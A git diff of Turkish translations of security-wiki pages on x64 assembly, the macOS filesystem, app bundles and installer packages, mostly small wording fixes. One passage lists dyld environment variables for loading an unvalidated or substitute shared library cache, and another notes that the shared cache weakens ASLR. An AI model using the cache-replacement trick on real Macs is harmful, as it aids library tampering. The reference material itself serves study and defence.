x64, x86-64 olarak da bilinir, esasen masaüstü ve sunucu bilgisayarlarında kullanılan 64-bit bir işlemci mimarisidir. Intel tarafından üretilen x86 mimarisinden türetilmiş ve daha sonra AMD tarafından AMD64 adıyla benimsenmiştir; günümüzde kişisel bilgisayarlar ve sunucularda yaygın olarak kullanılan mimaridir. x64, x86-64 olarak da bilinir, esasen masaüstü ve sunucu bilgisayarlarında kullanılan 64-bit bir işlemci mimarisidir. Intel tarafından üretilen x86 mimarisinden türetilmiş ve daha sonra AMD tarafından AMD64 adıyla benimsenmiştir; günümüzde kişisel bilgisayarlarda ve sunucularda yaygın olarak kullanılan mimaridir.
### **Kayıtlar** ### **Kayıtlar**
@ -23,10 +23,10 @@ x64, x86 mimarisini genişleterek **16 genel amaçlı kayıt** sunar: `rax`, `rb
x64 çağrı sözleşmesi işletim sistemlerine göre değişiklik gösterir. Örneğin: x64 çağrı sözleşmesi işletim sistemlerine göre değişiklik gösterir. Örneğin:
- **Windows**: İlk **dört parametre** **`rcx`**, **`rdx`**, **`r8`** ve **`r9`** kayıtlarında geçilir. Diğer parametreler yığına itilir. Dönen değer **`rax`** içindedir. - **Windows**: İlk **dört parametre** **`rcx`**, **`rdx`**, **`r8`** ve **`r9`** kayıtlarında geçilir. Diğer parametreler yığına itilir. Dönen değer **`rax`**'tadır.
- **System V (genellikle UNIX benzeri sistemlerde kullanılır)**: İlk **altı tamsayı veya işaretçi parametre** **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** ve **`r9`** kayıtlarında geçilir. Dönen değer de **`rax`** içindedir. - **System V (genellikle UNIX benzeri sistemlerde kullanılır)**: İlk **altı tam sayı veya işaretçi parametre** **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** ve **`r9`** kayıtlarında geçilir. Dönen değer de **`rax`**'tadır.
Fonksiyonun altıdan fazla girişi varsa, **geri kalan yığında geçilecektir**. **RSP**, yığın işaretçisi, **16 byte hizalı** olmalıdır; bu, işaret ettiği adresin herhangi bir çağrıdan önce 16'ya tam bölünebilir olması gerektiği anlamına gelir. Bu, genellikle bir fonksiyon çağrısı yapmadan önce RSP'nin düzgün bir şekilde hizalandığından emin olmamız gerektiği anlamına gelir. Ancak pratikte, sistem çağrıları bu gereklilik karşılanmadığında bile birçok kez çalışır. Fonksiyonun altıdan fazla girişi varsa, **geri kalan yığında geçilir**. **RSP**, yığın işaretçisi, **16 byte hizalanmış** olmalıdır; bu, işaret ettiği adresin herhangi bir çağrıdan önce 16'ya tam bölünebilir olması gerektiği anlamına gelir. Bu, genellikle bir fonksiyon çağrısı yapmadan önce RSP'nin düzgün bir şekilde hizalandığından emin olmamız gerektiği anlamına gelir. Ancak pratikte, sistem çağrıları bu gereklilik karşılanmasa bile birçok kez çalışır.
### Swift'te Çağrı Sözleşmesi ### Swift'te Çağrı Sözleşmesi
@ -37,31 +37,31 @@ Swift'in kendi **çağrı sözleşmesi** vardır, [**burada bulabilirsiniz**](ht
x64 talimatları, önceki x86 talimatlarıyla uyumluluğu koruyarak ve yenilerini tanıtarak zengin bir set sunar. x64 talimatları, önceki x86 talimatlarıyla uyumluluğu koruyarak ve yenilerini tanıtarak zengin bir set sunar.
- **`mov`**: Bir **değeri** bir **kayıttan** veya **bellek konumundan** diğerine **taşır**. - **`mov`**: Bir **değeri** bir **kayıttan** veya **bellek konumundan** diğerine **taşır**.
- Örnek: `mov rax, rbx``rbx`'teki değeri `rax`'a taşır. - Örnek: `mov rax, rbx``rbx`'teki değeri `rax`'e taşır.
- **`push`** ve **`pop`**: Yığına değerleri itme veya çekme. - **`push`** ve **`pop`**: Yığına değerleri itme veya çekme.
- Örnek: `push rax``rax`'teki değeri yığına iter. - Örnek: `push rax``rax`'teki değeri yığına iter.
- Örnek: `pop rax` — Yığının üstündeki değeri `rax`'a çeker. - Örnek: `pop rax` — Yığının üstündeki değeri `rax`'e çeker.
- **`add`** ve **`sub`**: **Toplama** ve **çıkarma** işlemleri. - **`add`** ve **`sub`**: **Toplama** ve **çıkarma** işlemleri.
- Örnek: `add rax, rcx``rax` ve `rcx`'teki değerleri toplar, sonucu `rax`'ta saklar. - Örnek: `add rax, rcx``rax` ve `rcx`'teki değerleri toplar, sonucu `rax`'te saklar.
- **`mul`** ve **`div`**: **Çarpma** ve **bölme** işlemleri. Not: Bunların operand kullanımıyla ilgili belirli davranışları vardır. - **`mul`** ve **`div`**: **Çarpma** ve **bölme** işlemleri. Not: Bunların operand kullanımıyla ilgili belirli davranışları vardır.
- **`call`** ve **`ret`**: **Fonksiyonları çağırmak** ve **geri dönmek** için kullanılır. - **`call`** ve **`ret`**: **Fonksiyonları çağırmak** ve **geri dönmek** için kullanılır.
- **`int`**: Yazılım **kesintisi** tetiklemek için kullanılır. Örneğin, `int 0x80` 32-bit x86 Linux'ta sistem çağrıları için kullanılmıştır. - **`int`**: Yazılım **kesintisi** tetiklemek için kullanılır. Örneğin, `int 0x80` 32-bit x86 Linux'ta sistem çağrıları için kullanılmıştır.
- **`cmp`**: İki değeri **karşılaştırır** ve sonuca göre CPU'nun bayraklarını ayarlar. - **`cmp`**: İki değeri **karşılaştırır** ve sonuca göre CPU'nun bayraklarını ayarlar.
- Örnek: `cmp rax, rdx``rax`'ı `rdx` ile karşılaştırır. - Örnek: `cmp rax, rdx``rax`'ı `rdx` ile karşılaştırır.
- **`je`, `jne`, `jl`, `jge`, ...**: Önceki bir `cmp` veya testin sonuçlarına göre kontrol akışını değiştiren **koşullu atlama** talimatları. - **`je`, `jne`, `jl`, `jge`, ...**: Önceki bir `cmp` veya testin sonuçlarına göre kontrol akışını değiştiren **koşullu atlama** talimatları.
- Örnek: `cmp rax, rdx` talimatından sonra, `je label``rax` `rdx`'e eşitse `label`'a atlar. - Örnek: `cmp rax, rdx` talimatından sonra, `je label``rax` `rdx`'e eşitse `label`'e atlar.
- **`syscall`**: Bazı x64 sistemlerde (modern Unix gibi) **sistem çağrıları** için kullanılır. - **`syscall`**: Bazı x64 sistemlerde (modern Unix gibi) **sistem çağrıları** için kullanılır.
- **`sysenter`**: Bazı platformlarda optimize edilmiş bir **sistem çağrısı** talimatıdır. - **`sysenter`**: Bazı platformlarda optimize edilmiş bir **sistem çağrısı** talimatıdır.
### **Fonksiyon Prologu** ### **Fonksiyon Prologu**
1. **Eski temel işaretçiyi it**: `push rbp` (çağıranın temel işaretçisini kaydeder) 1. **Eski temel işaretçiyi it**: `push rbp` (çağıranın temel işaretçisini kaydeder)
2. **Mevcut yığın işaretçisini temel işaretçiye aktar**: `mov rbp, rsp` (mevcut fonksiyon için yeni temel işaretçiyi ayarlar) 2. **Mevcut yığın işaretçisini temel işaretçiye taşı**: `mov rbp, rsp` (mevcut fonksiyon için yeni temel işaretçiyi ayarlar)
3. **Yerel değişkenler için yığında alan ayır**: `sub rsp, <size>` (burada `<size>`, gereken byte sayısıdır) 3. **Yerel değişkenler için yığında alan ayır**: `sub rsp, <size>` (burada `<size>`, gereken byte sayısıdır)
### **Fonksiyon Epilogu** ### **Fonksiyon Epilogu**
1. **Mevcut temel işaretçiyi yığın işaretçisine aktar**: `mov rsp, rbp` (yerel değişkenleri serbest bırak) 1. **Mevcut temel işaretçiyi yığın işaretçisine taşı**: `mov rsp, rbp` (yerel değişkenleri serbest bırak)
2. **Eski temel işaretçiyi yığından çıkar**: `pop rbp` (çağıranın temel işaretçisini geri yükler) 2. **Eski temel işaretçiyi yığından çıkar**: `pop rbp` (çağıranın temel işaretçisini geri yükler)
3. **Dön**: `ret` (kontrolü çağırana geri verir) 3. **Dön**: `ret` (kontrolü çağırana geri verir)

View File

@ -7,7 +7,7 @@
- **/Applications**: Yüklenen uygulamalar burada olmalıdır. Tüm kullanıcılar bunlara erişebilir. - **/Applications**: Yüklenen uygulamalar burada olmalıdır. Tüm kullanıcılar bunlara erişebilir.
- **/bin**: Komut satırı ikili dosyaları - **/bin**: Komut satırı ikili dosyaları
- **/cores**: Varsa, çekirdek dökümlerini saklamak için kullanılır - **/cores**: Varsa, çekirdek dökümlerini saklamak için kullanılır
- **/dev**: Her şey bir dosya olarak kabul edilir, bu nedenle burada donanım cihazlarını görebilirsiniz. - **/dev**: Her şey bir dosya olarak kabul edilir, bu nedenle burada donanım aygıtlarını görebilirsiniz.
- **/etc**: Yapılandırma dosyaları - **/etc**: Yapılandırma dosyaları
- **/Library**: Tercihler, önbellekler ve günlüklerle ilgili birçok alt dizin ve dosya burada bulunabilir. Kök dizinde ve her kullanıcının dizininde bir Library klasörü vardır. - **/Library**: Tercihler, önbellekler ve günlüklerle ilgili birçok alt dizin ve dosya burada bulunabilir. Kök dizinde ve her kullanıcının dizininde bir Library klasörü vardır.
- **/private**: Belgelendirilmemiştir ancak bahsedilen birçok klasör özel dizine sembolik bağlantılardır. - **/private**: Belgelendirilmemiştir ancak bahsedilen birçok klasör özel dizine sembolik bağlantılardır.
@ -25,7 +25,7 @@
- **Sistem uygulamaları** `/System/Applications` altında bulunur - **Sistem uygulamaları** `/System/Applications` altında bulunur
- **Yüklenen** uygulamalar genellikle `/Applications` veya `~/Applications` dizininde yüklenir - **Yüklenen** uygulamalar genellikle `/Applications` veya `~/Applications` dizininde yüklenir
- **Uygulama verileri**, root olarak çalışan uygulamalar için `/Library/Application Support` ve kullanıcı olarak çalışan uygulamalar için `~/Library/Application Support` dizininde bulunabilir. - **Uygulama verileri**, root olarak çalışan uygulamalar için `/Library/Application Support` ve kullanıcı olarak çalışan uygulamalar için `~/Library/Application Support` dizininde bulunabilir.
- Üçüncü taraf uygulamaların **daemon'ları** **root olarak çalışması gereken** genellikle `/Library/PrivilegedHelperTools/` dizininde bulunur - Üçüncü taraf uygulamaların **daemon'ları** **root olarak çalışması gereken** genellikle `/Library/PrivilegedHelperTools/` dizininde bulunur.
- **Sandboxed** uygulamalar `~/Library/Containers` klasörüne haritalanır. Her uygulamanın uygulamanın paket kimliğine göre adlandırılmış bir klasörü vardır (`com.apple.Safari`). - **Sandboxed** uygulamalar `~/Library/Containers` klasörüne haritalanır. Her uygulamanın uygulamanın paket kimliğine göre adlandırılmış bir klasörü vardır (`com.apple.Safari`).
- **Kernel** `/System/Library/Kernels/kernel` dizinindedir - **Kernel** `/System/Library/Kernels/kernel` dizinindedir
- **Apple'ın kernel uzantıları** `/System/Library/Extensions` dizinindedir - **Apple'ın kernel uzantıları** `/System/Library/Extensions` dizinindedir
@ -63,7 +63,7 @@ macos-installers-abuse.md
- **`.Spotlight-V100`**: Bu klasör, sistemdeki her hacmin kök dizininde görünür. - **`.Spotlight-V100`**: Bu klasör, sistemdeki her hacmin kök dizininde görünür.
- **`.metadata_never_index`**: Bu dosya bir hacmin kökünde bulunuyorsa, Spotlight o hacmi dizinlemez. - **`.metadata_never_index`**: Bu dosya bir hacmin kökünde bulunuyorsa, Spotlight o hacmi dizinlemez.
- **`.noindex`**: Bu uzantıya sahip dosya ve klasörler Spotlight tarafından dizinlenmez. - **`.noindex`**: Bu uzantıya sahip dosya ve klasörler Spotlight tarafından dizinlenmez.
- **`.sdef`**: Paketler içindeki dosyalar, bir AppleScript ile uygulama ile nasıl etkileşim kurulabileceğini belirtir. - **`.sdef`**: AppleScript ile uygulama ile nasıl etkileşim kurulabileceğini belirten paket içindeki dosyalar.
### macOS Paketleri ### macOS Paketleri
@ -97,7 +97,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
<figure><img src="../../../images/image (1152).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1152).png" alt="" width="563"><figcaption></figcaption></figure>
Bazı çıkarıcılar çalışmayabilir çünkü dylib'ler, bilinmeyen adreslere atlama yapabilecekleri için sabit kodlanmış adreslerle önceden bağlantılıdır. Bazı çıkarıcılar çalışmayabilir çünkü dylib'ler, bilinmeyen adreslere atlama yapabilecek şekilde, sabit kodlanmış adreslerle önceden bağlantılıdır.
> [!TIP] > [!TIP]
> Xcode'da bir emülatör kullanarak macos'ta diğer \*OS cihazlarının Paylaşılan Kütüphane Önbelleğini indirmenin de mümkün olduğunu unutmayın. Bunlar şu dizinde indirilecektir: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, örneğin: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` > Xcode'da bir emülatör kullanarak macos'ta diğer \*OS cihazlarının Paylaşılan Kütüphane Önbelleğini indirmenin de mümkün olduğunu unutmayın. Bunlar şu dizinde indirilecektir: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, örneğin: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
@ -106,7 +106,7 @@ Bazı çıkarıcılar çalışmayabilir çünkü dylib'ler, bilinmeyen adreslere
**`dyld`** SLC'nin haritalanıp haritalanmadığını bilmek için **`shared_region_check_np`** sistem çağrısını kullanır (bu adresi döndürür) ve **`shared_region_map_and_slide_np`** ile SLC'yi haritalar. **`dyld`** SLC'nin haritalanıp haritalanmadığını bilmek için **`shared_region_check_np`** sistem çağrısını kullanır (bu adresi döndürür) ve **`shared_region_map_and_slide_np`** ile SLC'yi haritalar.
SLC ilk kullanımda kaydırılsa bile, tüm **işlemler** **aynı kopyayı** kullanır, bu da saldırganın sistemde işlemleri çalıştırabilmesi durumunda **ASLR** korumasını **ortadan kaldırır**. Bu geçmişte gerçekten istismar edildi ve paylaşılan alan sayfası ile düzeltildi. SLC ilk kullanımda kaydırılsa bile, tüm **işlemler** **aynı kopyayı** kullanır, bu da saldırganın sistemde işlemleri çalıştırabilmesi durumunda **ASLR** korumasını **ortadan kaldırır**. Bu geçmişte gerçekten istismar edildi ve paylaşılan bölge sayfası ile düzeltildi.
Branch havuzları, görüntü haritalamaları arasında küçük alanlar oluşturan küçük Mach-O dylib'lerdir ve bu da işlevlerin araya girmesini imkansız hale getirir. Branch havuzları, görüntü haritalamaları arasında küçük alanlar oluşturan küçük Mach-O dylib'lerdir ve bu da işlevlerin araya girmesini imkansız hale getirir.
@ -114,8 +114,8 @@ Branch havuzları, görüntü haritalamaları arasında küçük alanlar oluştu
Aşağıdaki çevre değişkenlerini kullanarak: Aşağıdaki çevre değişkenlerini kullanarak:
- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Bu, yeni bir paylaşılan kütüphane önbelleği yüklemeye izin verecektir. - **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Bu, yeni bir paylaşılan kütüphane önbelleğini yüklemeye izin verecektir.
- **`DYLD_SHARED_CACHE_DIR=avoid`** ve kütüphaneleri gerçek olanlarla paylaşılan önbelleğe simlinklerle manuel olarak değiştirmek (bunları çıkarmanız gerekecek). - **`DYLD_SHARED_CACHE_DIR=avoid`** ve kütüphaneleri gerçek olanlarla paylaşılan önbelleğe sembolik bağlantılarla manuel olarak değiştirmek (bunları çıkarmanız gerekecek).
## Özel Dosya İzinleri ## Özel Dosya İzinleri
@ -125,11 +125,11 @@ Bir **klasörde**, **okuma** onu **listelemeye** izin verir, **yazma** dosyalar
### Bayrak değiştiricileri ### Bayrak değiştiricileri
Dosyalarda ayarlanabilecek bazı bayraklar vardır, bu da dosyanın farklı davranmasına neden olur. Bir dizindeki dosyaların **bayraklarını kontrol edebilirsiniz**: `ls -lO /path/directory` Dosyalarda farklı davranmalarını sağlayacak bazı bayraklar ayarlanabilir. Bir dizindeki dosyaların **bayraklarını kontrol edebilirsiniz**: `ls -lO /path/directory`
- **`uchg`**: **uchange** bayrağı, **dosyanın** değiştirilmesini veya silinmesini **önler**. Ayarlamak için: `chflags uchg file.txt` - **`uchg`**: **uchange** bayrağı, **dosyanın** değiştirilmesini veya silinmesini **önler**. Ayarlamak için: `chflags uchg file.txt`
- Root kullanıcısı **bayrağı kaldırabilir** ve dosyayı değiştirebilir. - Root kullanıcısı **bayrağı kaldırabilir** ve dosyayı değiştirebilir.
- **`restricted`**: Bu bayrak dosyanın **SIP tarafından korunmasını** sağlar (bu bayrağı bir dosyaya ekleyemezsiniz). - **`restricted`**: Bu bayrak dosyayı **SIP tarafından korunmuş** hale getirir (bu bayrağı bir dosyaya ekleyemezsiniz).
- **`Sticky bit`**: Eğer bir dizin sticky bit'e sahipse, **yalnızca** **dizin sahibi veya root dosyaları yeniden adlandırabilir veya silebilir**. Genellikle bu, sıradan kullanıcıların diğer kullanıcıların dosyalarını silmesini veya taşınmasını önlemek için /tmp dizininde ayarlanır. - **`Sticky bit`**: Eğer bir dizin sticky bit'e sahipse, **yalnızca** **dizin sahibi veya root dosyaları yeniden adlandırabilir veya silebilir**. Genellikle bu, sıradan kullanıcıların diğer kullanıcıların dosyalarını silmesini veya taşınmasını önlemek için /tmp dizininde ayarlanır.
Tüm bayraklar `sys/stat.h` dosyasında bulunabilir (bunu `mdfind stat.h | grep stat.h` kullanarak bulabilirsiniz) ve şunlardır: Tüm bayraklar `sys/stat.h` dosyasında bulunabilir (bunu `mdfind stat.h | grep stat.h` kullanarak bulabilirsiniz) ve şunlardır:
@ -158,7 +158,7 @@ Tüm bayraklar `sys/stat.h` dosyasında bulunabilir (bunu `mdfind stat.h | grep
Dosya **ACL'leri**, farklı kullanıcılara daha **ince izinler** atamak için **ACE** (Erişim Kontrol Girdileri) içerir. Dosya **ACL'leri**, farklı kullanıcılara daha **ince izinler** atamak için **ACE** (Erişim Kontrol Girdileri) içerir.
Bir **dizin** için bu izinleri vermek mümkündür: `listele`, `arama`, `dosya_ekle`, `alt_dizin_ekle`, `çocuk_sil`, `çocuk_sil`.\ Bir **dizin** için bu izinler verilebilir: `listele`, `arama`, `dosya_ekle`, `alt_dizin_ekle`, `çocuk_sil`, `çocuk_sil`.\
Ve bir **dosya** için: `okuma`, `yazma`, `ekleme`, `çalıştırma`. Ve bir **dosya** için: `okuma`, `yazma`, `ekleme`, `çalıştırma`.
Dosya ACL'ler içeriyorsa, izinleri listelediğinizde **"+" bulacaksınız**: Dosya ACL'ler içeriyorsa, izinleri listelediğinizde **"+" bulacaksınız**:
@ -189,9 +189,9 @@ Genişletilmiş niteliklerin bir adı ve istenen herhangi bir değeri vardır ve
- `com.apple.logd.metadata`: `/var/db/diagnostics` içindeki dosyalar için logd tarafından kullanılır - `com.apple.logd.metadata`: `/var/db/diagnostics` içindeki dosyalar için logd tarafından kullanılır
- `com.apple.genstore.*`: Nesil depolama (`/.DocumentRevisions-V100` dosya sisteminin kökünde) - `com.apple.genstore.*`: Nesil depolama (`/.DocumentRevisions-V100` dosya sisteminin kökünde)
- `com.apple.rootless`: MacOS: Dosyayı etiketlemek için Sistem Bütünlüğü Koruması tarafından kullanılır (III/10) - `com.apple.rootless`: MacOS: Dosyayı etiketlemek için Sistem Bütünlüğü Koruması tarafından kullanılır (III/10)
- `com.apple.uuidb.boot-uuid`: benzersiz UUID ile önyükleme dönemlerinin logd işaretleri - `com.apple.uuidb.boot-uuid`: Benzersiz UUID ile önyükleme dönemlerinin logd işaretlemeleri
- `com.apple.decmpfs`: MacOS: Şeffaf dosya sıkıştırması (II/7) - `com.apple.decmpfs`: MacOS: Şeffaf dosya sıkıştırması (II/7)
- `com.apple.cprotect`: \*OS: Dosya başına şifreleme verileri (III/11) - `com.apple.cprotect`: \*OS: Dosya başına şifreleme verisi (III/11)
- `com.apple.installd.*`: \*OS: installd tarafından kullanılan meta veriler, örneğin, `installType`, `uniqueInstallID` - `com.apple.installd.*`: \*OS: installd tarafından kullanılan meta veriler, örneğin, `installType`, `uniqueInstallID`
### Kaynak Forkları | macOS ADS ### Kaynak Forkları | macOS ADS
@ -237,7 +237,7 @@ macos-memory-dumping.md
## Risk Kategorisi Dosyaları Mac OS ## Risk Kategorisi Dosyaları Mac OS
`/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` dizini, **farklı dosya uzantılarıyla ilişkili risk hakkında bilgilerin saklandığı yerdir**. Bu dizin, dosyaları çeşitli risk seviyelerine ayırarak Safari'nin bu dosyaları indirdikten sonra nasıl işleyeceğini etkiler. Kategoriler şunlardır: `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` dizini, **farklı dosya uzantılarıyla ilişkili risk hakkında bilgilerin saklandığı yerdir**. Bu dizin, dosyaları çeşitli risk seviyelerine ayırarak, Safari'nin bu dosyaları indirdikten sonra nasıl işleyeceğini etkiler. Kategoriler şunlardır:
- **LSRiskCategorySafe**: Bu kategorideki dosyalar **tamamen güvenli** olarak kabul edilir. Safari, bu dosyaları indirdikten sonra otomatik olarak açacaktır. - **LSRiskCategorySafe**: Bu kategorideki dosyalar **tamamen güvenli** olarak kabul edilir. Safari, bu dosyaları indirdikten sonra otomatik olarak açacaktır.
- **LSRiskCategoryNeutral**: Bu dosyalar uyarı içermez ve Safari tarafından **otomatik olarak açılmaz**. - **LSRiskCategoryNeutral**: Bu dosyalar uyarı içermez ve Safari tarafından **otomatik olarak açılmaz**.
@ -246,13 +246,13 @@ macos-memory-dumping.md
## Log dosyaları ## Log dosyaları
- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: İndirilen dosyalar hakkında, nereden indirildikleri gibi bilgiler içerir. - **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: İndirilen dosyalar hakkında, nereden indirildikleri gibi bilgileri içerir.
- **`/var/log/system.log`**: OSX sistemlerinin ana günlüğü. com.apple.syslogd.plist, syslogging'in yürütülmesinden sorumludur (devre dışı olup olmadığını kontrol etmek için `launchctl list` içinde "com.apple.syslogd" arayabilirsiniz). - **`/var/log/system.log`**: OSX sistemlerinin ana günlüğü. com.apple.syslogd.plist, syslogging'in yürütülmesinden sorumludur (devre dışı olup olmadığını kontrol etmek için `launchctl list` içinde "com.apple.syslogd" arayabilirsiniz).
- **`/private/var/log/asl/*.asl`**: İlginç bilgiler içerebilecek Apple Sistem Günlükleridir. - **`/private/var/log/asl/*.asl`**: İlginç bilgiler içerebilecek Apple Sistem Günlükleridir.
- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder" aracılığıyla en son erişilen dosyaları ve uygulamaları saklar. - **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder" aracılığıyla en son erişilen dosyaları ve uygulamaları saklar.
- **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Sistem başlangıcında başlatılacak öğeleri saklar. - **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Sistem başlangıcında başlatılacak öğeleri saklar.
- **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility Uygulaması için günlük dosyası (sürücüler hakkında bilgi, USB'ler dahil). - **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility Uygulaması için günlük dosyası (sürücüler hakkında bilgi, USB'ler dahil).
- **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Kablosuz erişim noktaları hakkında veriler. - **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Kablosuz erişim noktaları hakkında veri.
- **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Devre dışı bırakılan daemonların listesi. - **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Devre dışı bırakılan daemonların listesi.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -8,19 +8,19 @@ macOS'taki paketler, uygulamalar, kütüphaneler ve diğer gerekli dosyalar dahi
### Bir Paketin Temel Bileşenleri ### Bir Paketin Temel Bileşenleri
Bir paket içinde, özellikle `<application>.app/Contents/` dizininde, çeşitli önemli kaynaklar barındırılır: Bir paket içinde, özellikle `<application>.app/Contents/` dizininde, çeşitli önemli kaynaklar bulunmaktadır:
- **\_CodeSignature**: Bu dizin, uygulamanın bütünlüğünü doğrulamak için hayati öneme sahip kod imzalama detaylarını saklar. Kod imzalama bilgilerini incelemek için şu komutları kullanabilirsiniz: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%% - **\_CodeSignature**: Bu dizin, uygulamanın bütünlüğünü doğrulamak için hayati öneme sahip kod imzalama detaylarını saklar. Kod imzalama bilgilerini incelemek için şu komutları kullanabilirsiniz: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%%
- **MacOS**: Kullanıcı etkileşimi sırasında çalışan uygulamanın yürütülebilir ikili dosyasını içerir. - **MacOS**: Kullanıcı etkileşimi sırasında çalışan uygulamanın yürütülebilir ikili dosyasını içerir.
- **Resources**: Uygulamanın kullanıcı arayüzü bileşenleri için bir depo, resimler, belgeler ve arayüz tanımları (nib/xib dosyaları) içerir. - **Resources**: Uygulamanın kullanıcı arayüzü bileşenleri için bir depo, resimler, belgeler ve arayüz tanımları (nib/xib dosyaları) içerir.
- **Info.plist**: Uygulamanın ana yapılandırma dosyası olarak işlev görür ve sistemin uygulamayı uygun şekilde tanıması ve etkileşimde bulunması için kritik öneme sahiptir. - **Info.plist**: Uygulamanın ana yapılandırma dosyası olarak işlev görür, sistemin uygulamayı uygun şekilde tanıması ve etkileşimde bulunması için kritik öneme sahiptir.
#### Info.plist İçindeki Önemli Anahtarlar #### Info.plist İçindeki Önemli Anahtarlar
`Info.plist` dosyası, uygulama yapılandırması için bir köşe taşıdır ve aşağıdaki gibi anahtarlar içerir: `Info.plist` dosyası, uygulama yapılandırması için bir köşe taşıdır ve aşağıdaki gibi anahtarlar içerir:
- **CFBundleExecutable**: `Contents/MacOS` dizininde bulunan ana yürütülebilir dosyanın adını belirtir. - **CFBundleExecutable**: `Contents/MacOS` dizininde bulunan ana yürütülebilir dosyanın adını belirtir.
- **CFBundleIdentifier**: Uygulama için küresel bir tanımlayıcı sağlar ve macOS tarafından uygulama yönetimi için yaygın olarak kullanılır. - **CFBundleIdentifier**: Uygulama için küresel bir tanımlayıcı sağlar, macOS tarafından uygulama yönetimi için yaygın olarak kullanılır.
- **LSMinimumSystemVersion**: Uygulamanın çalışması için gereken minimum macOS sürümünü belirtir. - **LSMinimumSystemVersion**: Uygulamanın çalışması için gereken minimum macOS sürümünü belirtir.
### Paketleri Keşfetmek ### Paketleri Keşfetmek
@ -33,7 +33,7 @@ Bu keşif, `_CodeSignature`, `MacOS`, `Resources` gibi dizinleri ve `Info.plist`
Yaygın dizinlerin ötesinde, paketler ayrıca şunları içerebilir: Yaygın dizinlerin ötesinde, paketler ayrıca şunları içerebilir:
- **Frameworks**: Uygulama tarafından kullanılan paketlenmiş çerçeveleri içerir. Çerçeveler, ekstra kaynaklara sahip dylib'ler gibidir. - **Frameworks**: Uygulama tarafından kullanılan paketlenmiş çerçeveleri içerir. Çerçeveler, ekstra kaynaklarla birlikte dylib gibidir.
- **PlugIns**: Uygulamanın yeteneklerini artıran eklentiler ve uzantılar için bir dizin. - **PlugIns**: Uygulamanın yeteneklerini artıran eklentiler ve uzantılar için bir dizin.
- **XPCServices**: Uygulama tarafından dış süreç iletişimi için kullanılan XPC hizmetlerini barındırır. - **XPCServices**: Uygulama tarafından dış süreç iletişimi için kullanılan XPC hizmetlerini barındırır.

View File

@ -6,17 +6,17 @@
Bir macOS **yükleyici paketi** (aynı zamanda `.pkg` dosyası olarak da bilinir), macOS tarafından **yazılım dağıtımı** için kullanılan bir dosya formatıdır. Bu dosyalar, bir yazılım parçasının doğru bir şekilde kurulması ve çalışması için gereken her şeyi içeren bir **kutunun** içindeymiş gibi davranır. Bir macOS **yükleyici paketi** (aynı zamanda `.pkg` dosyası olarak da bilinir), macOS tarafından **yazılım dağıtımı** için kullanılan bir dosya formatıdır. Bu dosyalar, bir yazılım parçasının doğru bir şekilde kurulması ve çalışması için gereken her şeyi içeren bir **kutunun** içindeymiş gibi davranır.
Paket dosyası, hedef bilgisayara yüklenecek **dosya ve dizinlerin hiyerarşisini** tutan bir arşivdir. Ayrıca, yapılandırma dosyalarını ayarlamak veya yazılımın eski sürümlerini temizlemek gibi kurulumdan önce ve sonra görevleri yerine getirmek için **betikler** de içerebilir. Paket dosyası, hedef bilgisayara yüklenecek **dosya ve dizinlerin hiyerarşisini** tutan bir arşivdir. Ayrıca, yapılandırma dosyalarını ayarlamak veya yazılımın eski sürümlerini temizlemek gibi kurulumdan önce ve sonra görevleri yerine getirmek için **scriptler** de içerebilir.
### Hiyerarşi ### Hiyerarşi
<figure><img src="../../../images/Pasted Graphic.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure> <figure><img src="../../../images/Pasted Graphic.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
- **Dağıtım (xml)**: Özelleştirmeler (başlık, karşılama metni…) ve betik/kurulum kontrolleri - **Dağıtım (xml)**: Özelleştirmeler (başlık, karşılama metni…) ve script/kurulum kontrolleri
- **Paket Bilgisi (xml)**: Bilgi, kurulum gereksinimleri, kurulum yeri, çalıştırılacak betiklerin yolları - **Paket Bilgisi (xml)**: Bilgi, kurulum gereksinimleri, kurulum yeri, çalıştırılacak scriptlerin yolları
- **Malzeme listesi (bom)**: Yüklenmesi, güncellenmesi veya kaldırılması gereken dosyaların listesi ve dosya izinleri - **Malzeme listesi (bom)**: Yüklenmesi, güncellenmesi veya kaldırılması gereken dosyaların listesi ve dosya izinleri
